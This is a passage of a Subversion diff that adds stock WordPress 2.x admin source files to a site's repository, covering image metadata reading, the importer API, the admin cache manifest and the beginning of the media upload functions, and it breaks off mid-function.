+	return wp_constrain_dimensions( $width, $height, $wmax, $hmax );
+}
+
+/**
+ * Convert a fraction string to a decimal.
+ *
+ * @since 2.5.0
+ *
+ * @param string $str
+ * @return int|float
+ */
+function wp_exif_frac2dec($str) {
+	@list( $n, $d ) = explode( '/', $str );
+	if ( !empty($d) )
+		return $n / $d;
+	return $str;
+}
+
+/**
+ * Convert the exif date format to a unix timestamp.
+ *
+ * @since 2.5.0
+ *
+ * @param string $str
+ * @return int
+ */
+function wp_exif_date2ts($str) {
+	@list( $date, $time ) = explode( ' ', trim($str) );
+	@list( $y, $m, $d ) = explode( ':', $date );
+
+	return strtotime( "{$y}-{$m}-{$d} {$time}" );
+}
+
+/**
+ * Get extended image metadata, exif or iptc as available.
+ *
+ * Retrieves the EXIF metadata aperture, credit, camera, caption, copyright, iso
+ * created_timestamp, focal_length, shutter_speed, and title.
+ *
+ * The IPTC metadata that is retrieved is APP13, credit, byline, created date
+ * and time, caption, copyright, and title. Also includes FNumber, Model,
+ * DateTimeDigitized, FocalLength, ISOSpeedRatings, and ExposureTime.
+ *
+ * @todo Try other exif libraries if available.
+ * @since 2.5.0
+ *
+ * @param string $file
+ * @return bool|array False on failure. Image metadata array on success.
+ */
+function wp_read_image_metadata( $file ) {
+	if ( !file_exists( $file ) )
+		return false;
+
+	list(,,$sourceImageType) = getimagesize( $file );
+
+	// exif contains a bunch of data we'll probably never need formatted in ways
+	// that are difficult to use. We'll normalize it and just extract the fields
+	// that are likely to be useful.  Fractions and numbers are converted to
+	// floats, dates to unix timestamps, and everything else to strings.
+	$meta = array(
+		'aperture' => 0,
+		'credit' => '',
+		'camera' => '',
+		'caption' => '',
+		'created_timestamp' => 0,
+		'copyright' => '',
+		'focal_length' => 0,
+		'iso' => 0,
+		'shutter_speed' => 0,
+		'title' => '',
+	);
+
+	// read iptc first, since it might contain data not available in exif such
+	// as caption, description etc
+	if ( is_callable('iptcparse') ) {
+		getimagesize($file, $info);
+		if ( !empty($info['APP13']) ) {
+			$iptc = iptcparse($info['APP13']);
+			if ( !empty($iptc['2#110'][0]) ) // credit
+				$meta['credit'] = utf8_encode(trim($iptc['2#110'][0]));
+			elseif ( !empty($iptc['2#080'][0]) ) // byline
+				$meta['credit'] = utf8_encode(trim($iptc['2#080'][0]));
+			if ( !empty($iptc['2#055'][0]) and !empty($iptc['2#060'][0]) ) // created date and time
+				$meta['created_timestamp'] = strtotime($iptc['2#055'][0] . ' ' . $iptc['2#060'][0]);
+			if ( !empty($iptc['2#120'][0]) ) // caption
+				$meta['caption'] = utf8_encode(trim($iptc['2#120'][0]));
+			if ( !empty($iptc['2#116'][0]) ) // copyright
+				$meta['copyright'] = utf8_encode(trim($iptc['2#116'][0]));
+			if ( !empty($iptc['2#005'][0]) ) // title
+				$meta['title'] = utf8_encode(trim($iptc['2#005'][0]));
+		 }
+	}
+
+	// fetch additional info from exif if available
+	if ( is_callable('exif_read_data') && in_array($sourceImageType, apply_filters('wp_read_image_metadata_types', array(IMAGETYPE_JPEG, IMAGETYPE_TIFF_II, IMAGETYPE_TIFF_MM)) ) ) {
+		$exif = @exif_read_data( $file );
+		if (!empty($exif['FNumber']))
+			$meta['aperture'] = round( wp_exif_frac2dec( $exif['FNumber'] ), 2 );
+		if (!empty($exif['Model']))
+			$meta['camera'] = trim( $exif['Model'] );
+		if (!empty($exif['DateTimeDigitized']))
+			$meta['created_timestamp'] = wp_exif_date2ts($exif['DateTimeDigitized']);
+		if (!empty($exif['FocalLength']))
+			$meta['focal_length'] = wp_exif_frac2dec( $exif['FocalLength'] );
+		if (!empty($exif['ISOSpeedRatings']))
+			$meta['iso'] = $exif['ISOSpeedRatings'];
+		if (!empty($exif['ExposureTime']))
+			$meta['shutter_speed'] = wp_exif_frac2dec( $exif['ExposureTime'] );
+	}
+
+	return apply_filters( 'wp_read_image_metadata', $meta, $file, $sourceImageType );
+
+}
+
+/**
+ * Validate that file is an image.
+ *
+ * @since 2.5.0
+ *
+ * @param string $path File path to test if valid image.
+ * @return bool True if valid image, false if not valid image.
+ */
+function file_is_valid_image($path) {
+	$size = @getimagesize($path);
+	return !empty($size);
+}
+
+/**
+ * Validate that file is suitable for displaying within a web page.
+ *
+ * @since 2.5.0
+ * @uses apply_filters() Calls 'file_is_displayable_image' on $result and $path.
+ *
+ * @param string $path File path to test.
+ * @return bool True if suitable, false if not suitable.
+ */
+function file_is_displayable_image($path) {
+	$info = @getimagesize($path);
+	if ( empty($info) )
+		$result = false;
+	elseif ( !in_array($info[2], array(IMAGETYPE_GIF, IMAGETYPE_JPEG, IMAGETYPE_PNG)) )	// only gif, jpeg and png images can reliably be displayed
+		$result = false;
+	else
+		$result = true;
+
+	return apply_filters('file_is_displayable_image', $result, $path);
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/import.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/import.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/import.php	(revision 44)
@@ -0,0 +1,87 @@
+<?php
+/**
+ * WordPress Administration Importer API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * Retrieve list of importers.
+ *
+ * @since 2.0.0
+ *
+ * @return array
+ */
+function get_importers() {
+	global $wp_importers;
+	if ( is_array($wp_importers) )
+		uasort($wp_importers, create_function('$a, $b', 'return strcmp($a[0], $b[0]);'));
+	return $wp_importers;
+}
+
+/**
+ * Register importer for WordPress.
+ *
+ * @since 2.0.0
+ *
+ * @param string $id Importer tag. Used to uniquely identify importer.
+ * @param string $name Importer name and title.
+ * @param string $description Importer description.
+ * @param callback $callback Callback to run.
+ * @return WP_Error Returns WP_Error when $callback is WP_Error.
+ */
+function register_importer( $id, $name, $description, $callback ) {
+	global $wp_importers;
+	if ( is_wp_error( $callback ) )
+		return $callback;
+	$wp_importers[$id] = array ( $name, $description, $callback );
+}
+
+/**
+ * Cleanup importer.
+ *
+ * Removes attachment based on ID.
+ *
+ * @since 2.0.0
+ *
+ * @param string $id Importer ID.
+ */
+function wp_import_cleanup( $id ) {
+	wp_delete_attachment( $id );
+}
+
+/**
+ * Handle importer uploading and add attachment.
+ *
+ * @since 2.0.0
+ *
+ * @return array
+ */
+function wp_import_handle_upload() {
+	$overrides = array( 'test_form' => false, 'test_type' => false );
+	$_FILES['import']['name'] .= '.txt';
+	$file = wp_handle_upload( $_FILES['import'], $overrides );
+
+	if ( isset( $file['error'] ) )
+		return $file;
+
+	$url = $file['url'];
+	$type = $file['type'];
+	$file = addslashes( $file['file'] );
+	$filename = basename( $file );
+
+	// Construct the object array
+	$object = array( 'post_title' => $filename,
+		'post_content' => $url,
+		'post_mime_type' => $type,
+		'guid' => $url
+	);
+
+	// Save the data
+	$id = wp_insert_attachment( $object, $file );
+
+	return array( 'file' => $file, 'id' => $id );
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/manifest.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/manifest.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/manifest.php	(revision 44)
@@ -0,0 +1,208 @@
+<?php
+
+if ( !defined('ABSPATH') )
+	exit;
+
+require(ABSPATH . 'wp-includes/version.php');
+
+$man_version = md5( $tinymce_version . $manifest_version );
+$mce_ver = "ver=$tinymce_version";
+
+/**
+ * Retrieve list of all cacheable WP files
+ *
+ * Array format: file, version (optional), bool (whether to use src and set ignoreQuery)
+ */
+function &get_manifest() {
+	global $mce_ver;
+
+	$files = array(
+		array('images/align-center.png'),
+		array('images/align-left.png'),
+		array('images/align-none.png'),
+		array('images/align-right.png'),
+		array('images/archive-link.png'),
+		array('images/blue-grad.png'),
+		array('images/browse-happy.gif'),
+		array('images/bubble_bg.gif'),
+		array('images/bubble_bg-rtl.gif'),
+		array('images/button-grad.png'),
+		array('images/button-grad-active.png'),
+		array('images/comment-grey-bubble.png'),
+		array('images/date-button.gif'),
+		array('images/ed-bg.gif'),
+		array('images/fade-butt.png'),
+		array('images/fav.png'),
+		array('images/fav-arrow.gif'),
+		array('images/fav-arrow-rtl.gif'),
+		array('images/fav-top.png'),
+		array('images/generic.png'),
+		array('images/gray-grad.png'),
+		array('images/icons32.png'),
+		array('images/icons32-vs.png'),
+		array('images/list.png'),
+		array('images/list-vs.png'),
+		array('images/wpspin_light.gif'),
+		array('images/wpspin_dark.gif'),
+		array('images/logo.gif'),
+		array('images/logo-ghost.png'),
+		array('images/logo-login.gif'),
+		array('images/media-button-image.gif'),
+		array('images/media-button-music.gif'),
+		array('images/media-button-other.gif'),
+		array('images/media-button-video.gif'),
+		array('images/menu.png'),
+		array('images/menu-vs.png'),
+		array('images/menu-arrows.gif'),
+		array('images/menu-bits.gif'),
+		array('images/menu-bits-rtl.gif'),
+		array('images/menu-dark.gif'),
+		array('images/menu-dark-rtl.gif'),
+		array('images/no.png'),
+		array('images/required.gif'),
+		array('images/resize.gif'),
+		array('images/screen-options-left.gif'),
+		array('images/screen-options-right.gif'),
+		array('images/screen-options-right-up.gif'),
+		array('images/se.png'),
+		array('images/star.gif'),
+		array('images/toggle-arrow.gif'),
+		array('images/toggle-arrow-rtl.gif'),
+		array('images/white-grad.png'),
+		array('images/white-grad-active.png'),
+		array('images/wordpress-logo.png'),
+		array('images/wp-logo.gif'),
+		array('images/xit.gif'),
+		array('images/yes.png'),
+		array('../wp-includes/images/crystal/archive.png'),
+		array('../wp-includes/images/crystal/audio.png'),
+		array('../wp-includes/images/crystal/code.png'),
+		array('../wp-includes/images/crystal/default.png'),
+		array('../wp-includes/images/crystal/document.png'),
+		array('../wp-includes/images/crystal/interactive.png'),
+		array('../wp-includes/images/crystal/text.png'),
+		array('../wp-includes/images/crystal/video.png'),
+		array('../wp-includes/images/crystal/spreadsheet.png'),
+		array('../wp-includes/images/rss.png'),
+		array('../wp-includes/images/blank.gif'),
+		array('../wp-includes/images/upload.png'),
+		array('../wp-includes/js/thickbox/loadingAnimation.gif'),
+		array('../wp-includes/js/thickbox/tb-close.png'),
+	);
+
+	if ( @is_file('../wp-includes/js/tinymce/tiny_mce.js') ) :
+	$mce = array(
+		array('../wp-includes/js/tinymce/wp-tinymce.php', $mce_ver, true),
+
+		array('../wp-includes/js/tinymce/tiny_mce.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/langs/wp-langs-en.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/utils/mctabs.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/utils/validate.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/utils/form_utils.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/utils/editable_selects.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/tiny_mce_popup.js', $mce_ver, true),
+
+		array('../wp-includes/js/tinymce/themes/advanced/editor_template.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/source_editor.htm', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/anchor.htm', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/image.htm', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/link.htm', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/color_picker.htm', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/charmap.htm', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/js/color_picker.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/js/charmap.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/js/image.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/js/link.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/js/source_editor.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/js/anchor.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/content.css', $mce_ver, true),
+		array('../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/dialog.css', $mce_ver, true),
+
+		array('../wp-includes/js/tinymce/plugins/fullscreen/editor_plugin.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/fullscreen/fullscreen.htm', $mce_ver, true),
+
+		array('../wp-includes/js/tinymce/plugins/inlinepopups/editor_plugin.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/inlinepopups/template.htm', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/window.css', $mce_ver, true),
+
+		array('../wp-includes/js/tinymce/plugins/media/editor_plugin.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/media/js/media.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/media/media.htm', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/media/css/content.css', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/media/css/media.css', $mce_ver, true),
+
+		array('../wp-includes/js/tinymce/plugins/paste/editor_plugin.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/paste/js/pasteword.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/paste/js/pastetext.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/paste/pasteword.htm', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/paste/blank.htm', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/paste/pastetext.htm', $mce_ver, true),
+
+		array('../wp-includes/js/tinymce/plugins/safari/editor_plugin.js', $mce_ver, true),
+
+		array('../wp-includes/js/tinymce/plugins/spellchecker/editor_plugin.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/spellchecker/css/content.css', $mce_ver, true),
+
+		array('../wp-includes/js/tinymce/plugins/tabfocus/editor_plugin.js', $mce_ver, true),
+
+		array('../wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/wordpress/css/content.css', $mce_ver, true),
+
+		array('../wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/wpeditimage/editimage.html', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.js', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/wpeditimage/css/editimage.css', $mce_ver, true),
+		array('../wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css', $mce_ver, true),
+
+		array('../wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.js', $mce_ver, true),
+
+		array('../wp-includes/js/tinymce/themes/advanced/img/icons.gif'),
+		array('../wp-includes/js/tinymce/themes/advanced/img/colorpicker.jpg'),
+		array('../wp-includes/js/tinymce/themes/advanced/img/fm.gif'),
+		array('../wp-includes/js/tinymce/themes/advanced/img/gotmoxie.png'),
+		array('../wp-includes/js/tinymce/themes/advanced/img/sflogo.png'),
+		array('../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/butt2.png'),
+		array('../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/fade-butt.png'),
+		array('../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/tabs.gif'),
+		array('../wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/down_arrow.gif'),
+		array('../wp-includes/js/tinymce/themes/advanced/skins/default/img/progress.gif'),
+		array('../wp-includes/js/tinymce/themes/advanced/skins/default/img/menu_check.gif'),
+		array('../wp-includes/js/tinymce/themes/advanced/skins/default/img/menu_arrow.gif'),
+		array('../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/drag.gif'),
+		array('../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/corners.gif'),
+		array('../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/buttons.gif'),
+		array('../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/horizontal.gif'),
+		array('../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/alert.gif'),
+		array('../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/button.gif'),
+		array('../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/confirm.gif'),
+		array('../wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/vertical.gif'),
+		array('../wp-includes/js/tinymce/plugins/media/img/flash.gif'),
+		array('../wp-includes/js/tinymce/plugins/media/img/flv_player.swf'),
+		array('../wp-includes/js/tinymce/plugins/media/img/quicktime.gif'),
+		array('../wp-includes/js/tinymce/plugins/media/img/realmedia.gif'),
+		array('../wp-includes/js/tinymce/plugins/media/img/shockwave.gif'),
+		array('../wp-includes/js/tinymce/plugins/media/img/windowsmedia.gif'),
+		array('../wp-includes/js/tinymce/plugins/media/img/trans.gif'),
+		array('../wp-includes/js/tinymce/plugins/spellchecker/img/wline.gif'),
+		array('../wp-includes/js/tinymce/plugins/wordpress/img/more.gif'),
+		array('../wp-includes/js/tinymce/plugins/wordpress/img/more_bug.gif'),
+		array('../wp-includes/js/tinymce/plugins/wordpress/img/page.gif'),
+		array('../wp-includes/js/tinymce/plugins/wordpress/img/page_bug.gif'),
+		array('../wp-includes/js/tinymce/plugins/wordpress/img/toolbars.gif'),
+		array('../wp-includes/js/tinymce/plugins/wordpress/img/help.gif'),
+		array('../wp-includes/js/tinymce/plugins/wordpress/img/image.gif'),
+		array('../wp-includes/js/tinymce/plugins/wordpress/img/media.gif'),
+		array('../wp-includes/js/tinymce/plugins/wordpress/img/video.gif'),
+		array('../wp-includes/js/tinymce/plugins/wordpress/img/audio.gif'),
+		array('../wp-includes/js/tinymce/plugins/wpeditimage/img/image.png'),
+		array('../wp-includes/js/tinymce/plugins/wpeditimage/img/delete.png'),
+		array('../wp-includes/js/tinymce/plugins/wpgallery/img/delete.png'),
+		array('../wp-includes/js/tinymce/plugins/wpgallery/img/edit.png'),
+		array('../wp-includes/js/tinymce/plugins/wpgallery/img/gallery.png')
+	);
+	$files = array_merge($files, $mce);
+	endif;
+
+	return $files;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/media.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/media.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/media.php	(revision 44)
@@ -0,0 +1,2123 @@
+<?php
+/**
+ * WordPress Administration Media API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function media_upload_tabs() {
+	$_default_tabs = array(
+		'type' => __('From Computer'), // handler action suffix => tab text
+		'type_url' => __('From URL'),
+		'gallery' => __('Gallery'),
+		'library' => __('Media Library')
+	);
+
+	return apply_filters('media_upload_tabs', $_default_tabs);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $tabs
+ * @return unknown
+ */
+function update_gallery_tab($tabs) {
+	global $wpdb;
+
+	if ( !isset($_REQUEST['post_id']) ) {
+		unset($tabs['gallery']);
+		return $tabs;
+	}
+
+	if ( intval($_REQUEST['post_id']) )
+		$attachments = intval($wpdb->get_var($wpdb->prepare("SELECT count(*) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_parent = %d", $_REQUEST['post_id'])));
+
+	if ( empty($attachments) ) {
+		unset($tabs['gallery']);
+		return $tabs;
+	}
+
+	$tabs['gallery'] = sprintf(__('Gallery (%s)'), "<span id='attachments-count'>$attachments</span>");
+
+	return $tabs;
+}
+add_filter('media_upload_tabs', 'update_gallery_tab');
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ */
+function the_media_upload_tabs() {
+	global $redir_tab;
+	$tabs = media_upload_tabs();
+
+	if ( !empty($tabs) ) {
+		echo "<ul id='sidemenu'>\n";
+		if ( isset($redir_tab) && array_key_exists($redir_tab, $tabs) )
+			$current = $redir_tab;
+		elseif ( isset($_GET['tab']) && array_key_exists($_GET['tab'], $tabs) )
+			$current = $_GET['tab'];
+		else
+			$current = apply_filters('media_upload_default_tab', 'type');
+
+		foreach ( $tabs as $callback => $text ) {
+			$class = '';
+			if ( $current == $callback )
+				$class = " class='current'";
+			$href = add_query_arg(array('tab'=>$callback, 's'=>false, 'paged'=>false, 'post_mime_type'=>false, 'm'=>false));
+			$link = "<a href='" . esc_url($href) . "'$class>$text</a>";
+			echo "\t<li id='" . esc_attr("tab-$callback") . "'>$link</li>\n";
+		}
+		echo "</ul>\n";
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $id
+ * @param unknown_type $alt
+ * @param unknown_type $title
+ * @param unknown_type $align
+ * @param unknown_type $url
+ * @param unknown_type $rel
+ * @param unknown_type $size
+ * @return unknown
+ */
+function get_image_send_to_editor($id, $alt, $title, $align, $url='', $rel = false, $size='medium') {
+
+	$htmlalt = ( empty($alt) ) ? $title : $alt;
+
+	$html = get_image_tag($id, $htmlalt, $title, $align, $size);
+
+	$rel = $rel ? ' rel="attachment wp-att-' . esc_attr($id).'"' : '';
+
+	if ( $url )
+		$html = '<a href="' . esc_url($url) . "\"$rel>$html</a>";
+
+	$html = apply_filters( 'image_send_to_editor', $html, $id, $alt, $title, $align, $url, $size );
+
+	return $html;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $html
+ * @param unknown_type $id
+ * @param unknown_type $alt
+ * @param unknown_type $title
+ * @param unknown_type $align
+ * @param unknown_type $url
+ * @param unknown_type $size
+ * @return unknown
+ */
+function image_add_caption( $html, $id, $alt, $title, $align, $url, $size ) {
+
+	if ( empty($alt) || apply_filters( 'disable_captions', '' ) )
+		return $html;
+
+	$id = ( 0 < (int) $id ) ? 'attachment_' . $id : '';
+
+	preg_match( '/width="([0-9]+)/', $html, $matches );
+	if ( ! isset($matches[1]) )
+		return $html;
+
+	$width = $matches[1];
+
+	$html = preg_replace( '/(class=["\'][^\'"]*)align(none|left|right|center)\s?/', '$1', $html );
+	if ( empty($align) )
+		$align = 'none';
+
+	$alt = ! empty($alt) ? addslashes($alt) : '';
+
+	$shcode = '[caption id="' . $id . '" align="align' . $align
+	. '" width="' . $width . '" caption="' . $alt . '"]' . $html . '[/caption]';
+
+	return apply_filters( 'image_add_caption_shortcode', $shcode, $html );
+}
+add_filter( 'image_send_to_editor', 'image_add_caption', 20, 7 );
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $html
+ */
+function media_send_to_editor($html) {
+?>
+<script type="text/javascript">
+/* <![CDATA[ */
+var win = window.dialogArguments || opener || parent || top;
+win.send_to_editor('<?php echo addslashes($html); ?>');
+/* ]]> */
+</script>
+	<?php
+	exit;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * This handles the file upload POST itself, creating the attachment post.
+ *
+ * @since unknown
+ *
+ * @param unknown_type $file_id
+ * @param unknown_type $post_id
+ * @param unknown_type $post_data
+ * @return unknown
+ */
+function media_handle_upload($file_id, $post_id, $post_data = array()) {
+	$overrides = array('test_form'=>false);
+
+	$time = current_time('mysql');
+	if ( $post = get_post($post_id) ) {
+		if ( substr( $post->post_date, 0, 4 ) > 0 )
+			$time = $post->post_date;
+	}
+
+	$name = $_FILES[$file_id]['name'];
+	$file = wp_handle_upload($_FILES[$file_id], $overrides, $time);
+
+	if ( isset($file['error']) )
+		return new WP_Error( 'upload_error', $file['error'] );
+
+	$name_parts = pathinfo($name);
+	$name = trim( substr( $name, 0, -(1 + strlen($name_parts['extension'])) ) );
+
+	$url = $file['url'];
+	$type = $file['type'];
+	$file = $file['file'];
+	$title = $name;
+	$content = '';
+
+	// use image exif/iptc data for title and caption defaults if possible
+	if ( $image_meta = @wp_read_image_metadata($file) ) {
+		if ( trim($image_meta['title']) )
+			$title = $image_meta['title'];
+		if ( trim($image_meta['caption']) )
+			$content = $image_meta['caption'];
+	}
+
+	// Construct the attachment array
+	$attachment = array_merge( array(
+		'post_mime_type' => $type,
+		'guid' => $url,
+		'post_parent' => $post_id,
+		'post_title' => $title,
+		'post_content' => $content,
+	), $post_data );
+
+	// Save the data
+	$id = wp_insert_attachment($attachment, $file, $post_id);
+	if ( !is_wp_error($id) ) {
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );
+	}
+
+	return $id;
+
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $file_array
+ * @param unknown_type $post_id
+ * @param unknown_type $desc
+ * @param unknown_type $post_data
+ * @return unknown
+ */
+function media_handle_sideload($file_array, $post_id, $desc = null, $post_data = array()) {
+	$overrides = array('test_form'=>false);
+	$file = wp_handle_sideload($file_array, $overrides);
+
+	if ( isset($file['error']) )
+		return new WP_Error( 'upload_error', $file['error'] );
+
+	$url = $file['url'];
+	$type = $file['type'];
+	$file = $file['file'];
+	$title = preg_replace('/\.[^.]+$/', '', basename($file));
+	$content = '';
+
+	// use image exif/iptc data for title and caption defaults if possible
+	if ( $image_meta = @wp_read_image_metadata($file) ) {
+		if ( trim($image_meta['title']) )
+			$title = $image_meta['title'];
+		if ( trim($image_meta['caption']) )
+			$content = $image_meta['caption'];
+	}
+
+	$title = @$desc;
+
+	// Construct the attachment array
+	$attachment = array_merge( array(
+		'post_mime_type' => $type,
+		'guid' => $url,
+		'post_parent' => $post_id,
+		'post_title' => $title,
+		'post_content' => $content,
+	), $post_data );
+
+	// Save the data
+	$id = wp_insert_attachment($attachment, $file, $post_id);
+	if ( !is_wp_error($id) ) {
+		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );
+		return $url;
+	}
+	return $id;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * Wrap iframe content (produced by $content_func) in a doctype, html head/body
+ * etc any additional function args will be passed to content_func.
+ *
+ * @since unknown
+ *
+ * @param unknown_type $content_func
+ */
+function wp_iframe($content_func /* ... */) {
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php do_action('admin_xml_ns'); ?> <?php language_attributes(); ?>>
+<head>
+<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
+<title><?php bloginfo('name') ?> &rsaquo; <?php _e('Uploads'); ?> &#8212; <?php _e('WordPress'); ?></title>
+<?php
+wp_enqueue_style( 'global' );
+wp_enqueue_style( 'wp-admin' );
+wp_enqueue_style( 'colors' );
+if ( 0 === strpos( $content_func, 'media' ) )
+	wp_enqueue_style( 'media' );
+wp_enqueue_style( 'ie' );
+?>
+<script type="text/javascript">
+//<![CDATA[
+addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
+var userSettings = {'url':'<?php echo SITECOOKIEPATH; ?>','uid':'<?php if ( ! isset($current_user) ) $current_user = wp_get_current_user(); echo $current_user->ID; ?>','time':'<?php echo time() ?>'};
+//]]>
+</script>
+<?php
+do_action('admin_print_styles');
+do_action('admin_print_scripts');
+do_action('admin_head');
+if ( is_string($content_func) )
+	do_action( "admin_head_{$content_func}" );
+?>
+</head>
+<body<?php if ( isset($GLOBALS['body_id']) ) echo ' id="' . $GLOBALS['body_id'] . '"'; ?>>
+<?php
+	$args = func_get_args();
+	$args = array_slice($args, 1);
+	call_user_func_array($content_func, $args);
+
+	do_action('admin_print_footer_scripts');
+?>
+<script type="text/javascript">if(typeof wpOnload=='function')wpOnload();</script>
+</body>
+</html>
+<?php
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ */
+function media_buttons() {
+	global $post_ID, $temp_ID;
+	$uploading_iframe_ID = (int) (0 == $post_ID ? $temp_ID : $post_ID);
+	$context = apply_filters('media_buttons_context', __('Upload/Insert %s'));
+	$media_upload_iframe_src = "media-upload.php?post_id=$uploading_iframe_ID";
+	$media_title = __('Add Media');
+	$image_upload_iframe_src = apply_filters('image_upload_iframe_src', "$media_upload_iframe_src&amp;type=image");
+	$image_title = __('Add an Image');
+	$video_upload_iframe_src = apply_filters('video_upload_iframe_src', "$media_upload_iframe_src&amp;type=video");
+	$video_title = __('Add Video');
+	$audio_upload_iframe_src = apply_filters('audio_upload_iframe_src', "$media_upload_iframe_src&amp;type=audio");
+	$audio_title = __('Add Audio');
+	$out = <<<EOF
+
+	<a href="{$image_upload_iframe_src}&amp;TB_iframe=true" id="add_image" class="thickbox" title='$image_title' onclick="return false;"><img src='images/media-button-image.gif' alt='$image_title' /></a>
+	<a href="{$video_upload_iframe_src}&amp;TB_iframe=true" id="add_video" class="thickbox" title='$video_title' onclick="return false;"><img src='images/media-button-video.gif' alt='$video_title' /></a>
+	<a href="{$audio_upload_iframe_src}&amp;TB_iframe=true" id="add_audio" class="thickbox" title='$audio_title' onclick="return false;"><img src='images/media-button-music.gif' alt='$audio_title' /></a>
+	<a href="{$media_upload_iframe_src}&amp;TB_iframe=true" id="add_media" class="thickbox" title='$media_title' onclick="return false;"><img src='images/media-button-other.gif' alt='$media_title' /></a>
+
+EOF;
+	printf($context, $out);
+}
+add_action( 'media_buttons', 'media_buttons' );
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function media_upload_form_handler() {
+	check_admin_referer('media-form');
+
